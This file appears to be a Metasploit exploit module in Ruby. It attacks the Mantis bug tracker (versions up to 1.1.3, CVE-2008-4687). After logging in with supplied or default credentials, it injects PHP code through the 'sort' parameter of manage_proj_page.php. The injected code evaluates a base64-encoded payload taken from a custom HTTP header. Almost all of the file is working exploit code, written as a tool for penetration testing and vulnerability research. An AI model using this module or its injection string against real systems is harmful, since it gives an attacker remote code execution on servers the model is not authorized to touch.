124 lines
No EOL
3.7 KiB
Ruby
Executable file
124 lines
No EOL
3.7 KiB
Ruby
Executable file
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mantis manage_proj_page PHP Code Execution',
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'Description' => %q{
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Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote
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Code Execution vulnerability in the sort parameter of the
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manage_proj_page.php page.
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},
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'Author' => [
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'EgiX', # Exploit-DB Entry Author
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'Lars Sorenson' # MSF module author
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['EDB', '6768'],
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['CVE', '2008-4687'],
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Mantis <= 1.1.3', { } ],
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],
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'DisclosureDate' => 'Oct 16, 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
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OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
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OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
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])
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end
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def check
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vprint_status('Checking Mantis version ...')
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'login_page.php'),
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'method' => 'GET'
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})
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unless res
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vprint_error('Connection to host failed!')
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return CheckCode::Unknown
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end
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unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/
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vprint_error('Cannot determine Mantis version!')
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return CheckCode::Unknown
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end
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version = Gem::Version.new(Regexp.last_match[1])
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vprint_status("Mantis version #{version} detected")
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if res.code == 200 && version <= Gem::Version.new('1.1.3')
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return CheckCode::Appears
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end
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CheckCode::Safe
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end
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def login
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vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'login_page.php'),
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})
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unless res
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fail_with(Failure::Unreachable, 'Cannot access host to log in!')
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end
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'login.php'),
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'method' => 'POST',
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'vars_post' => {
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'username': datastore['username'],
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'password': datastore['password'],
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},
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'cookie'=> "PHPSESSID=#{res.get_cookies}"
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})
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unless res
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fail_with(Failure::Unknown, 'Cannot access host to log in!')
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end
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fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302
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fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')
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store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
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res.get_cookies
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end
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def exploit
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears
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cookie = login
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vprint_status('Sending payload ...')
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payload_b64 = Rex::Text.encode_base64(payload.encoded)
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data = {
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'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#",
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}
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),
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'method' => 'POST',
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'vars_post' => data,
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'headers' => {
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'Connection': 'close',
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'Cookie': cookie.to_s,
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'Cmd': payload_b64
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}
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})
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end
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end |